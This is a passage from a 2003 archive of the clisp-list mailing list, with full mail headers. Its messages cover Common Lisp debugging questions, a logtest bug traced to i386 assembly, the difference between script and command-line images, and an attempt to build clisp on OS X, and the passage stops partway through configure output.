19mvis-0007qN-00 for ; Wed, 13 Aug 2003 09:31:30 -0400 Message-ID: <3F3A3DB2.6070607@yahoo.com> From: David Morse User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] compiler warnings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 13 06:34:01 2003 X-Original-Date: Wed, 13 Aug 2003 09:31:30 -0400 How do I figure out what top level form is generating this compiler warning?: WARNING in function #:COMPILED-FORM-216-1-1 : variable POSITION is not used. -- The early bird gets the worm, but the second mouse gets the cheese. -proverb From svref@yahoo.com Wed Aug 13 07:11:22 2003 Received: from dsl093-230-014.lou1.dsl.speakeasy.net ([66.93.230.14] helo=ork.bomberlan.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mwIk-0004hX-00 for ; Wed, 13 Aug 2003 07:08:35 -0700 Received: from localhost ([127.0.0.1] helo=yahoo.com) by ork.bomberlan.net with esmtp (Exim 3.35 #1 (Debian)) id 19mwIj-000844-00 for ; Wed, 13 Aug 2003 10:08:33 -0400 Message-ID: <3F3A4660.9090608@yahoo.com> From: David Morse User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] debugging help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 13 07:12:04 2003 X-Original-Date: Wed, 13 Aug 2003 10:08:32 -0400 Sorry for the newbie question, but how would you use the debugger to figure out what line of code is calling a structure slot reader with nil? [39]> (find-best-outcome (fen-pos "r7/8/8/8/8/8/8/R6b w - - 0 1") 3) *** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type POS 1. Break [40]> :bt EVAL frame for form (FIND-BEST-OUTCOME (FEN-POS "r7/8/8/8/8/8/8/R6b w - - 0 1") 3) 1. Break [40]> From lisp-clisp-list@m.gmane.org Wed Aug 13 07:19:55 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mwIL-0004Hc-00 for ; Wed, 13 Aug 2003 07:08:10 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19mwJW-0001YG-00 for ; Wed, 13 Aug 2003 16:09:22 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19mwJV-0001Y8-00 for ; Wed, 13 Aug 2003 16:09:21 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19mwII-0000lH-00 for ; Wed, 13 Aug 2003 16:08:06 +0200 From: Sam Steingold Organization: disorganization Lines: 18 Message-ID: References: <3F3A3DB2.6070607@yahoo.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: compiler warnings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 13 07:20:29 2003 X-Original-Date: 13 Aug 2003 10:08:06 -0400 > * In message <3F3A3DB2.6070607@yahoo.com> > * On the subject of "compiler warnings" > * Sent on Wed, 13 Aug 2003 09:31:30 -0400 > * Honorable David Morse writes: > > How do I figure out what top level form is generating this compiler > warning?: > > WARNING in function #:COMPILED-FORM-216-1-1 : > variable POSITION is not used. (compile-file ... :print t) -- Sam Steingold (http://www.podval.org/~sds) running w2k Ph.D. stands for "Phony Doctor" - Isaak Asimov, Ph.D. From lisp-clisp-list@m.gmane.org Wed Aug 13 07:41:29 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mwlb-0006XE-00 for ; Wed, 13 Aug 2003 07:38:23 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19mwml-0001sS-00 for ; Wed, 13 Aug 2003 16:39:35 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19mwmk-0001sK-00 for ; Wed, 13 Aug 2003 16:39:34 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19mwlX-0001jQ-00 for ; Wed, 13 Aug 2003 16:38:19 +0200 From: Sam Steingold Organization: disorganization Lines: 27 Message-ID: References: <3F3A4660.9090608@yahoo.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: debugging help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 13 07:42:10 2003 X-Original-Date: 13 Aug 2003 10:38:19 -0400 > * In message <3F3A4660.9090608@yahoo.com> > * On the subject of "debugging help" > * Sent on Wed, 13 Aug 2003 10:08:32 -0400 > * Honorable David Morse writes: > > Sorry for the newbie question, but how would you use the debugger to > figure out what line of code is calling a structure slot reader with > nil? run interpreted. > [39]> (find-best-outcome (fen-pos "r7/8/8/8/8/8/8/R6b w - - 0 1") 3) > > *** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type POS > 1. Break [40]> :bt > > EVAL frame for form (FIND-BEST-OUTCOME (FEN-POS "r7/8/8/8/8/8/8/R6b w - > - 0 1") 3) > 1. Break [40]> CVS head :bt gives full lisp function/special form call stack. -- Sam Steingold (http://www.podval.org/~sds) running w2k If I had known that it was harmless, I would have killed it myself. From lisp-clisp-list@m.gmane.org Wed Aug 13 07:45:09 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19mwZl-0003Y4-00 for ; Wed, 13 Aug 2003 07:26:09 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19mwav-0001kc-00 for ; Wed, 13 Aug 2003 16:27:21 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19mwau-0001kU-00 for ; Wed, 13 Aug 2003 16:27:20 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19mwZi-0001LF-00 for ; Wed, 13 Aug 2003 16:26:06 +0200 From: Sam Steingold Organization: disorganization Lines: 48 Message-ID: References: <20030812231646.GA27095@cl.cam.ac.uk> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: bug with logtest Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 13 07:46:02 2003 X-Original-Date: 13 Aug 2003 10:26:04 -0400 > * In message <20030812231646.GA27095@cl.cam.ac.uk> > * On the subject of "bug with logtest" > * Sent on Wed, 13 Aug 2003 00:16:46 +0100 > * Honorable Russ Ross writes: > > I'm having problems with logtest. For a test of the form > (logtest (ash 1 n) (ash 1 n)) > I'd expect a result of T for any n, but I don't always get that: > > (logtest (ash 1 23) (ash 1 23)) gives me T > (logtest (ash 1 24) (ash 1 24)) gives me NIL > (logtest (ash 1 63) (ash 1 63)) gives me NIL > (logtest (ash 1 64) (ash 1 64)) gives me T > (logtest (ash 1 100) (ash 1 100)) gives me T apparently the assembly code in ari80386.d (and_test_loop_up) is broken: # extern bool and_test_loop_up (uintD* xptr, uintD* yptr, uintC count); ALIGN C(and_test_loop_up:) pushl %esi # %esi retten movl 8(%esp),%edx # %edx = xptr movl 12(%esp),%esi # %esi = yptr movl 16(%esp),%ecx # %ecx = count jecxz L(atlu2) # %ecx = 0 ? subl %edx,%esi L(atlu1:) movl (%edx,%esi),%eax # *yptr andl (%edx),%eax # *xptr & ... jnz L(atlu3) leal 4(%edx),%edx # xptr++, yptr++ decl %ecx jnz L(atlu1) L(atlu2:) xorl %eax,%eax # Ergebnis 0 L(atlu3:) popl %esi # %esi zurück ret since I don't know assembly at all, I can only hope that someone will step up to fix this. (define NO_ASM in lispbibl.d and the assembly is ignored and everything works correctly) -- Sam Steingold (http://www.podval.org/~sds) running w2k Failure is not an option. It comes bundled with your Microsoft product. From pascal@informatimago.com Wed Aug 13 20:15:02 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19n8Rh-0002mT-00 for ; Wed, 13 Aug 2003 20:06:38 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 1F6F0B6238; Thu, 14 Aug 2003 05:06:09 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030814030609.1F6F0B6238@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] discrepancy between clisp and #!/bin/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 13 21:08:32 2003 X-Original-Date: Thu, 14 Aug 2003 05:06:09 +0200 (CEST) Hello, I've got this problem with clisp-2.30: a file loaded thru a logical pathname translation is visible and correctly loaded by clisp when invoked from the command line, but not when invoked from a script starting with #!/.../clisp. (directory "DEFSYSTEM:*.*") gives NIL from #! script and gives the list of files from command-line clisp. [pascal@thalassa pascal]$ clisp ;; Loading file /home/pascal/.clisprc.lisp ... tr=3D ((#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*") (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*") (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*.*")) ;; Loading file=20 #S(LOGICAL-PATHNAME :HOST DEFSYSTEM :DEVICE NIL :DIRECTORY (ABSOLUTE) :NAME DEFSYSTEM :TYPE LISP :VERSION NIL) ... ;; Loaded file=20 #S(LOGICAL-PATHNAME :HOST DEFSYSTEM :DEVICE NIL :DIRECTORY (ABSOLUTE) :NAME DEFSYSTEM :TYPE LISP :VERSION NIL) ;; Loaded file /home/pascal/.clisprc.lisp [1]>=20 [pascal@thalassa pascal]$ ./essai tr=3D ((#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*") (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*") (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*.*")) *** - A file with name DEFSYSTEM:DEFSYSTEM.LISP does not exist [pascal@thalassa pascal]$ ./essai-c tr=3D ((#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*") (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*") (#S(LOGICAL-PATHNAME :HOST "DEFSYSTEM" :DEVICE NIL :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL :VERSIO= N NIL) "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*.*")) *** - A file with name DEFSYSTEM:DEFSYSTEM.LISP does not exist [pascal@thalassa pascal]$ cat essai #!/usr/local/bin/clisp -q -K full=20 ;; -*- mode: Lisp -*- (load "~/.clisprc.lisp") (format t "~&running essai~%") (ext:quit) ;;;; essai -- 2003-08-14 04:57:21 -- pascal = ;;;; [pascal@thalassa pascal]$ cat essai-c #!/usr/local/bin/clisp -q -K full -C ;; -*- mode: Lisp -*- (load "~/.clisprc.lisp") (format t "~&running essai~%") (ext:quit) ;;;; essai-c -- 2003-08-14 04:57:09 -- pascal = ;;;; [pascal@thalassa pascal]$ cat .clisprc.lisp ;; ----------------------------------------------------------------------= -- ;; clocc defsystem -- ;; ------------------ ;; We must go thru a translation because ;; defsystem-3.x is not a valid logical name! (SETF (LOGICAL-PATHNAME-TRANSLATIONS "DEFSYSTEM") '(( "**;*" "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*") ( "**;*" "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*= ") ( "**;*" "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*= .*"))) (format t "~&tr=3D~S~%" (logical-pathname-translations "DEFSYSTEM")) (LOAD "DEFSYSTEM:DEFSYSTEM.LISP") ;; ---------------------------------------------------------------------- ;;;; .clisprc.lisp -- 2003-08-14 04:58:52 -- pascal = ;;;; [pascal@thalassa pascal]$=20 --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From lisp-clisp-list@m.gmane.org Thu Aug 14 07:07:05 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19nIkP-0004Zx-00 for ; Thu, 14 Aug 2003 07:06:37 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nIlW-0000Pe-00 for ; Thu, 14 Aug 2003 16:07:46 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19nIlV-0000PW-00 for ; Thu, 14 Aug 2003 16:07:45 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nIkK-00039a-00 for ; Thu, 14 Aug 2003 16:06:32 +0200 From: Sam Steingold Organization: disorganization Lines: 19 Message-ID: References: <20030814030609.1F6F0B6238@thalassa.informatimago.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: discrepancy between clisp and #!/bin/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 14 07:08:10 2003 X-Original-Date: 14 Aug 2003 10:06:32 -0400 > * In message <20030814030609.1F6F0B6238@thalassa.informatimago.com> > * On the subject of "discrepancy between clisp and #!/bin/clisp" > * Sent on Thu, 14 Aug 2003 05:06:09 +0200 (CEST) > * Honorable Pascal Bourguignon writes: > > I've got this problem with clisp-2.30: a file loaded thru a logical > pathname translation is visible and correctly loaded by clisp when > invoked from the command line, but not when invoked from a script > starting with #!/.../clisp. maybe you are getting different images? (one is -ansi and the other -traditional) -- Sam Steingold (http://www.podval.org/~sds) running w2k Why use Windows, when there are Doors? From a.bignoli@computer.org Thu Aug 14 09:52:50 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19nL7v-0002fk-00 for ; Thu, 14 Aug 2003 09:39:03 -0700 Received: from dalet.19216810.loc (IDENT:0@pool2-ip13.fauser.it [80.20.153.108]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id SAA30545; Thu, 14 Aug 2003 18:31:33 +0200 (MET DST) Received: from dalet.19216810.loc (IDENT:25@localhost [127.0.0.1]) by dalet.19216810.loc (8.12.9/8.12.9) with ESMTP id h7EGXCkX000398; Thu, 14 Aug 2003 18:33:28 +0200 Received: (from aurelio@localhost) by dalet.19216810.loc (8.12.9/8.12.9/Submit) id h7DMLIst002082; Thu, 14 Aug 2003 00:21:18 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16186.47581.935822.697420@dalet.19216810.loc> To: "John K. Hinsdale" Cc: sds@gnu.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] truly dynamic FFI in CVS In-Reply-To: <200308121330.h7CDUJJB015812@van-halen.alma.com> References: <200308121330.h7CDUJJB015812@van-halen.alma.com> X-Mailer: VM 7.16 under Emacs 21.2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 14 09:53:13 2003 X-Original-Date: Thu, 14 Aug 2003 00:21:17 +0200 John K. Hinsdale writes: > Also, may I ask what version of GCC Linux CLISP users are using? I've > been living in fear of GCC 3 for some time now having had a lot of > problems w/ hte early versions. I'm using GCC 3.2.2. From pascal@informatimago.com Thu Aug 14 10:30:03 2003 Received: from thalassa.informatimago.com ([195.114.85.198]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19nLhb-0008Lp-00 for ; Thu, 14 Aug 2003 10:15:59 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 902DCB620B; Thu, 14 Aug 2003 19:15:32 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16187.50100.521185.295275@thalassa.informatimago.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: discrepancy between clisp and #!/bin/clisp In-Reply-To: References: <20030814030609.1F6F0B6238@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 14 10:31:02 2003 X-Original-Date: Thu, 14 Aug 2003 19:15:32 +0200 Sam Steingold writes: > > * In message <20030814030609.1F6F0B6238@thalassa.informatimago.com> > > * On the subject of "discrepancy between clisp and #!/bin/clisp" > > * Sent on Thu, 14 Aug 2003 05:06:09 +0200 (CEST) > > * Honorable Pascal Bourguignon writes: > > > > I've got this problem with clisp-2.30: a file loaded thru a logical > > pathname translation is visible and correctly loaded by clisp when > > invoked from the command line, but not when invoked from a script > > starting with #!/.../clisp. >=20 > maybe you are getting different images? > (one is -ansi and the other -traditional) Right, I forgot that my command-line "clisp" was an alias with -ansi. Adding -ansi to my #! script makes it work. Thank you. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From lisp-clisp-list@m.gmane.org Thu Aug 14 15:27:58 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19nQHx-0008IA-00 for ; Thu, 14 Aug 2003 15:09:45 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nQJ5-0004Km-00 for ; Fri, 15 Aug 2003 00:10:55 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19nQJ4-0004Ke-00 for ; Fri, 15 Aug 2003 00:10:54 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nQHu-0000KW-00 for ; Fri, 15 Aug 2003 00:09:42 +0200 From: Sam Steingold Organization: disorganization Lines: 28 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Clisp (cvs) cygwin and readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 14 15:28:05 2003 X-Original-Date: 14 Aug 2003 18:09:42 -0400 > * In message > * On the subject of "Re: Re: Clisp (cvs) cygwin and readline" > * Sent on Tue, 05 Aug 2003 00:26:18 +0200 > * Honorable sigurd@12move.de (Karl Pflästerer) writes: > > > are you running on a cygwin xterm/rxvt? > > Yes (in rxvt). But I tried it also in a plain windows command.com. > The same result. this is weird. what version of windows? please run under gdb and report what these return: isatty(0) isatty(1) isatty(2) ttyname(0) ttyname(1) ttyname(2) thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k All extremists should be taken out and shot. From lisp-clisp-list@m.gmane.org Thu Aug 14 15:37:13 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19nQRJ-0001Ue-00 for ; Thu, 14 Aug 2003 15:19:25 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nQSN-0004QK-00 for ; Fri, 15 Aug 2003 00:20:31 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19nQLe-0004MP-00 for ; Fri, 15 Aug 2003 00:13:34 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19nQKU-0000O8-00 for ; Fri, 15 Aug 2003 00:12:22 +0200 From: Sam Steingold Organization: disorganization Lines: 16 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: macro problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 14 15:38:02 2003 X-Original-Date: 14 Aug 2003 18:12:22 -0400 > * In message > * On the subject of "Re: macro problem" > * Sent on Tue, 12 Aug 2003 10:14:01 -0700 (PDT) > * Honorable Kaz Kylheku writes: > > What's broken here, I think, is that the destructuring error is not > signaled. There are only two parameters given for the nested lambda > list (a b c). I just fixed this in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Never trust a man who can count to 1024 on his fingers. From james.anderson@setf.de Fri Aug 15 07:06:45 2003 Received: from mail-in-04.arcor-online.net ([151.189.21.44]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19nf8y-0000qp-00 for ; Fri, 15 Aug 2003 07:01:29 -0700 Received: from setf.de (dsl-213-023-140-057.arcor-ip.net [213.23.140.57]) by mail-in-04.arcor-online.net (Postfix) with ESMTP id ED63A5CFA1 for ; Fri, 15 Aug 2003 16:01:25 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.552) Subject: [clisp-list] clisp on osx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 15 07:07:11 2003 X-Original-Date: Fri, 15 Aug 2003 16:01:06 +0200 i read in the documentation that clisp should build on osx, so i'm trying. i've pulled the 2.30 distribution and am trying to follow the instructions. i'm using the standard apply development tools, as installed from Dec2002DevToolsCD.dmg. given osx 10.2.6, when i attempt to run configure, as in, ./configure with-apple-devtools it runs to the point where it appears to trip over a syntax error in a shell file. as in, creating libtool checking for langinfo.h... no checking for nl_langinfo... no checking for nl_langinfo and CODESET... no checking whether we are using the GNU C Library 2.1 or newer... no checking for stddef.h... yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking 